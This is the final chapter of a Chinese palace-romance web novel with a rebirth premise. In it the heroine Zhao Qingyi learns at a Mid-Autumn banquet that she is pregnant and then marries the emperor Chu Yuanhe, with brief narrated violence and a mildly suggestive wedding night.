若是之前的小骏哥儿,他尚未长成,许多错事这一世的他并未做过,将他丢在庄子上自生自灭足够了,但如今回来的,却是前世长大成人的李骏。 他做过什么心知肚明,却还来她跟前哭诉,假惺惺的忏悔,没得叫她恶心,且她赵清仪就不是个会吃回头草的人。 李彻她不稀罕,还会稀罕一个便宜儿子? “你父亲犯的是谋逆大罪,按理该诛九族,李骏,你若待在庄子上我可以不闻不问,留你一命。” 可他逃出来了,还让她知道他重生的事,她又怎么可能再给自己,给大梁留下任何隐患? 李骏瘦小的身子一哆嗦,完全没料到前世如此慈和的嫡母,会说出如此冷冰冰的话来,他察觉大事不妙,转身欲逃。 他是孩童,又生得矮小,禁军没提防让他钻了空子,从□□下钻了出去,禁军副统领林锋即刻要带人去追。 楚元河叫住人,没让禁军大张旗鼓去追,闹起来不好看,有损清韵茶楼的名声,如今的李骏不过是个手不能提肩不能扛的孩子,又无父无母,独自一人便是逃了又能如何? 他连逃出赵清仪的庄子都得靠外人,还妄图平安无事逃出上京? 楚元河没动用禁军,而是派个暗卫过去盯着。 赵漫仪则被押入大狱,狱卒贴心地将她和李彻关押在同一间逼仄阴暗的牢房里。 不出意外,见到李彻,赵漫仪又开始发疯,扑上去又打又咬,李彻虽是大男子,可此前才被挑断手脚筋,面对赵漫仪的发疯也只是堪堪招架。 不过几日,狱卒便传回消息,说这二人打得头破血流,牢房里到处充斥着血腥难闻的气息,墙壁上还有指甲挠出的血痕…… 这些,赵清仪依旧是从两个婢子的闲谈中得知的。 彼时檀月俏月正与几个禁军相谈甚欢,听着二手消息,兴致勃勃将这些记在随身携带的小册子里,尤其是俏月,对每一个细节都要刨根问底,有禁军疑惑她在做什么。 俏月一边笑一边摇头。 她才不要说,她要闷声干大事。 今日中秋,是正式接见月翎使臣的日子,尚衣局早早送来裁好的宫装头面,待梳妆完毕,赵清仪便在禁军宫人的簇拥下浩浩荡荡进宫去。 担心宴席乏味无聊,楚元河特意下令,凡四品以上的家眷皆可入宫,只是席面排在金銮殿外,胜在人多,倒也热闹。 与赵清仪亲近的人中,长公主身居高位,张婉琰又是首辅之女,她们的席面皆在殿内,仅次于她这位准皇后,孟氏冯氏等人,则与永宁侯府的席面安排在一处。 至于赵温仪,她是侯府世子夫人,又因有孕不久,也来到她们这边,与同样怀有身孕的张婉琰有了不少话题。 如今又多了个银月公主,几人相谈甚欢。 而楚元河那边,与月翎国的谈判也格外顺利,就冲银月公主要嫁平西郡王这一点,大梁便会义不容辞地借兵。 月翎国承诺一统西域后,将甘愿成为大梁的附属,签下二十年不战协议,且二十年间朝贡不断,两国互通商贸,友好往来。 金銮殿内歌舞升平,一派祥和。 赵清仪便在这和睦的气氛中,突兀地干呕了一声,宫人慌忙送来痰盂。 身旁几位曾经的贵女,如今的贵妇们愣住,旋即似有默契般朝她投去隐晦又关切的眼神。 这该不会是……害喜了吧? 赵清仪并未往别处想,她与楚元河亲密时,从来不弄在里面,两个婢子却意识到不妙,在心中默默掐算县主来月事的日子,居然不知不觉推迟了半个多月。 俏月机灵,担心外人多想立即来打圆场,说县主是晨起时吃得油腻了。 谈判过后,楚元河的注意力就落回赵清仪身上,因尚未成婚的缘故,他不好在众目睽睽之下将人放在身边,只是目光时不时就往她那儿瞟两眼。 见她脸色微白抱着痰盂额呕吐,楚元河坐不住了,忙起身过去问她哪里不适。 赵清仪搬出了婢子的话术,本意是想表达没什么,缓缓就好,岂料楚元河直接将她打横抱起跑了出去,一边跑一边唤太医。 留下满殿的人面面相觑,惶惶不安,“……” 陛下这般紧张,莫非县主中毒了? 赵清仪又一次想找地缝钻进去,“我只是瞧那一桌珍馐没什么胃口,又不是病了。” “不能讳疾忌医。”楚元河不管,将人抱到偏殿后指名道姓要廖院判亲自来。 可怜廖院判一把老骨头,火急火燎赶来,刚要请安行礼就被楚元河揪住后脖颈,“少废话,赶紧诊脉。” 赵清仪这会儿缓过来好了许多,无奈地笑了笑,说自己并无大碍,不用着急。 但当廖院判搭上她的脉搏后,她就笑不出来了。 “县……娘娘脉象圆滑,如珠走盘,是为喜脉。”廖院判改口极快,说罢跪下向楚元河道喜。 楚元河愣了一瞬,喜脉? 他要当爹了? 这么突然! 反应过来后,他一个箭步冲到榻前,为自己先前的鲁莽道歉,他方才以为赵清仪是病了,身子不适,这才急吼吼抱着人就跑。 “朕先前跑了一段路,会不会对皇后的身子有影响?” 廖院判啼笑皆非,“是陛下在跑,又不是娘娘在跑。”纵使有孕,也没那么脆弱,赵清仪的身子骨养得不错,是母子同安之象。 赵清仪整个人呆若木鸡,直到楚元河温热的大掌轻轻覆在她平坦的小腹上,她才对这一切有了实感。 难以置信,她居然就这么怀上了? 她的肚子里,已经有她和楚元河的孩子了? 难道是她最近接触张婉琰和赵温仪,染上了她们的孕气……不然不可能的,房事上楚元河偶有放纵,最后关头都很小心。 但廖院判不会错,区区喜脉,不可能诊错,楚元河还想多找几个太医来确认一番,可事关赵清仪的清誉,她们还没正式成婚。 ……对,如今头等大事,是尽快成婚! 楚元河赶紧让福贵去请钦天监,让他捏造个良辰吉日,越快越好,帝后大婚事宜也要速速提上来。 福贵当即下去吩咐,气氛一度凝滞紧张。 后脚赶来偏殿探望赵清仪的,除了自家人,其余的皆被拦在外头,一场中秋宴,就这般稀里糊涂过去了。 一夜之间,赵清仪成了所有人的宝贝疙瘩,从前也很宝贵,只是眼下怀了身子,总归不一样。 孟氏与冯氏得知内情后,先赶回家中筹备送嫁的东西,好在赵怀义有先见之明,嫁妆早早就开始准备了。 赵清仪则留在宫里,楚元河几乎是寸步不离地守着她,一切无关紧要的朝事全部推后,命令宫中全心全意筹备大婚。 钦天监速度很快,连夜卜算出最近的良辰吉日,就定在半月后的九月初一。 赵清仪整个人是茫然的,她的计划的彻底打乱了,从廖院判诊出喜脉开始,她就成了个易碎的瓷娃娃似的,楚元河非得将她拴在身边,要她往后就住在紫宸殿里,去往何处都得有人陪同,若是一段时间见不到她就会心慌。 檀月俏月的动作也很快,没两日就将她的东西全搬进宫里。 福贵最初皱着脸,提醒道,“宫里什么都有。” “你不懂。”俏月呛了回去,“我们娘娘用惯了的东西,轻易换不得。” 不出几日,属于赵清仪的痕迹遍布整个紫宸殿,因为东西多,还占用了楚元河的私库。 “皇后不是要住凤仪宫么?”赵清仪不理解,她记得楚元河装平西郡王时,还特意让人带她去凤仪宫闲逛,那时还问她喜不喜欢。 怎么又让她住在皇帝自己的寝殿里,东西还往这里搬,弄得她有些不好意思,总觉得是在鸠占鹊巢。 楚元河的态度出奇强硬,“不行,你自己住,我不放心。” 赵清仪哭笑不得,问他究竟在担心什么。 楚元河神情严肃,抿了抿唇道,“我……我只是记得你曾经……小产过。” 女子小产是要丢去半条命的,赵清仪磕了碰了他都心疼,根本不敢想象她小产的样子。 赵清仪再次愣住,他那么在意的事,她自己都快记不清了,前世许多记忆在她这里已渐渐模糊。 但不妨碍她在听到这句话时,心软得一塌糊涂。 赵清仪握住他的手,让他宽厚的掌心包裹住她,“这次不会了,因为,是你在我身边。” 廖院判都说她身子骨好着呢,这一世楚元河待她呵护备至,除了床榻上,其他时候从未叫她吃过半点苦头,也没有刻薄婆母刁难她…… 思及此,赵清仪眼眸一亮,“对了,我们大婚,你父皇母后可知晓?” 算起年纪,楚元河的双亲也才四十来岁,正值壮年,却早早退位,以至于她两世都不曾见过她们。 不过话问出来,赵清仪就后悔了,她真是迟钝,那份盖了太上皇印玺的圣旨还在赵家呢,太上皇定然知晓她的存在,人家只是提早退位,不代表不关心大梁。 “你若好奇,待你生完孩子,我带你去找他们。”楚元河顿了顿,像是忆起了从前不太美妙的往事,摸了摸赵清仪的小腹,“你说……若是这一胎是个皇子,就册封他为太子如何?” 就像从前的他,生下来就是太子,养到十六七岁,父皇母后就撂挑子跑了,让他苦苦支撑大梁江山。 但站在父皇母后的角度,这不失为一个好法子,至少他们父皇母后如今过的是神仙眷侣的日子。 赵清仪没好气地给了他一个眼刀子。 孩子都没生下来,就开始算计了? 转眼到了帝后大婚之日,这一日晨曦初破,天边泛起柔和的鱼肚白,皇城内外普天同庆,热闹喧嚣。 赵清仪在宫人小心翼翼的服侍下沐浴焚香,穿上繁复雍容的大红凤袍,柔美秾丽的脸庞贴着精致的妆容,乌发由女官一丝一缕地挽起,最后由资历最老的嬷嬷们抬凤冠而来,郑重地戴在她乌压压的发髻上。 因赵清仪怀有龙嗣,礼部去掉了许多可有可无的繁文缛节,但婚仪应有的庄严隆重却一点没少。 红日熔金,宫阙巍峨,九重丹陛之下,百丈红锦自承天门如长河般奔涌铺展开来,直抵皇后所在的鸾凤金舆。 礼部官员手捧长册,念完一段冗长的唱词,钟罄之声终于自高台庄严落下,随之而来,鼓乐齐奏。 楚元河身披金线绣日月山河十二章纹冕服,怀揣忐忑的心跳,朝赵清仪缓步走去。 虽有过无数次的亲密,但二人皆是头一回见到对方盛装的模样,帝后双手交握的一瞬,赵清仪头顶的凤冠流苏如星河般轻颤,每一颗明珠皆映着日光熠熠生辉。 可楚元河的视线只为凤冠下,那张红妆如霞的脸庞停留,目光交错的刹那,彼此眼中皆是欢喜与化不开的浓情。 他搀扶着她,踩着红锦拾级而上,在百官注目间一步一步登向高台,衣袂拂过之处风华暗涌,直至帝后执手并肩立于丹陛之巅。 赵清仪接过皇后宝册,二人一同拜谒天地祖宗。 礼成,百官跪伏,山呼万岁。 接受完最后一位命妇的朝拜,赵清仪总算松口气,在檀月俏月的搀扶下回到寝殿,此时天色已暗,她没等多久,楚元河就来了。 在紫宸殿伺候的宫人们清楚帝后的规矩,说了几句吉祥话后便放下合卺酒退出去。 楚元河走过去,先为她摘下凤冠,“可有累着?” “还好。”赵清仪捏了捏发酸的后脖颈,“就是凤冠有些沉……” 事先有吩咐,已经尽可能减轻凤冠的分量,但毕竟是皇后的凤冠,太过素净也不现实,如此沉甸甸的东西,戴在头上久了还是会累。 赵清仪忍不住嘟囔两句,当皇后真累。 “也就这一回,往后随你高兴,不爱戴就不戴。”楚元河叹笑一声,将她揽到腿上,让她枕着自己,大掌贴在她脖颈处轻轻按揉。 赵清仪累了大半日,此刻舒服地眯着眼享受帝王的服侍,不时发出几声如小猫般舒服的轻哼。 大抵有些关系从形成后就很难改变,至今赵清仪仍无法将楚元河当成高高在上的皇帝来对待,使唤他,享受他已然成了习惯。 楚元河自己也习惯了,不觉得如此行径有什么问题,他也乐在其中。 按揉过后,才想起还有合卺酒,喝完才算礼成,因赵清仪意外怀有身孕,酒水换成了甘甜的果子露,盛于琉璃盏中,泛着旖旎的胭脂红。 他亲自斟满,其中一杯送到赵清仪唇边,彼此就着对方的手饮尽,然而谁都没有松手的意思,臂膀交缠,四目相对,近到呼吸可闻。 男人的眼神过于幽深,也过于转注,赵清仪被他瞧得脸热,“怎、怎么了?” “只是觉得,般般今日格外美艳。”对她,楚元河向来不吝啬夸赞。 目光从她潋滟的杏眸挪开,缓缓下移,凝在她刚饮过果子露的唇瓣,粗粝的指腹同时落下,为她拭去残留的一滴果子露。 胭脂红色在他指尖晕染开来,更衬得那樱唇饱满诱人。 很好亲样子,他也很想亲。 赵清仪读懂了他眸中的晦暗,面红如酥,分明饮的只是果子露,她却有了醉态,在楚元河俯身而来的一瞬间,她娇躯后仰,素手轻推他结实的胸膛。 楚元河明白她是担心孩子,“我就亲一下……” “不、不行。”他劣迹斑斑,床榻之上经常说话不算话。 楚元河握住胸前的手叹声道,“我不是那种不知分寸的人……” 他比任何人,甚至比赵清仪自己都要爱惜她的身子,可今夜是他们的新婚夜,名正言顺的洞房花烛夜。 往常在一起他都恨不得时刻相连,更何况是如此重要的日子。 他又暗骂那孩子来得太不是时候。 男人的清冽的气息笼罩过来,赵清仪拒绝不了他的亲近,妥协了,“就……亲一下……” 话音刚落,便被楚元河含住了唇,他吻得并不热烈,轻轻含住后,灵巧的舌尖开始舔舐她唇上的果子露,连同口脂一并吃进去。 没了口脂,赵清仪的唇却是越来越红,娇艳欲滴。 静谧内室只有唇齿纠缠泛起的暧昧水声,直到赵清仪气喘软倒,二人唇瓣勉强分离,带出细微的银丝。 楚元河压下腹中翻涌的灼浪,托住她的后腰,“我带你去沐浴?” 天不亮二人就开始沐浴净身,但劳累一日,身上还是出了些薄汗,赵清仪爱洁,不洗夜里难以入眠。 赵清仪红着脸闷闷嗯了声,任由男人抱着她转入净室。 沐浴的过程也很小心翼翼,楚元河亲自为她褪去繁琐的衣衫,只剩最后薄薄一层时,赵清仪婉拒,“还是让檀月俏月来吧。” 楚元河不满挑眉,“嫌弃我?” “不是。”赵清仪忖了忖道,“我……我是替你考虑……” 楚元河低笑出声,嗓音喑哑,“般般未免太小瞧我。” 从前意志力不坚定,不过是为了哄她,讨她欢心,当然,也有为自己谋福祉的私心。 楚元河信誓旦旦承诺自己可以。 赵清仪这才松口。 二人相拥没入池水,楚元河还会抚摸她的小腹,不到两月的身孕,并未显怀,摸上去也同往常没什么区别。 只是一来二去,天雷勾动地火。 从答应对方那一刻起,赵清仪就知道今夜没那般简单,她很主动贴了上去,在池水里环住他精壮的腰身,帮起了他。 楚元河受宠若惊。 怀里的皇后嗔他,“……装什么?” 嘴上利索,脸上却受热气氤氲,双颊绯红如烟。 与此同时,上京城为贺帝后新婚解除宵禁,朱雀大街人声鼎沸,无数绚烂烟火蹿入夜色,发出一连串砰砰砰的爆响,炸开满天的火树银花,堪比星辰璀璨。 定西十年,九月初一,年轻的皇帝终于如愿以偿,娶到他爱慕两世的姑娘为后。 待上京夜色的繁华落幕,楚元河已经抱着赵清仪回到榻上。 殿内烛火昏昏,龙榻四角散落的纱帐内,人影交叠,十指相扣,自此帝后同心,白首不离。 ——正文剧情结束喽。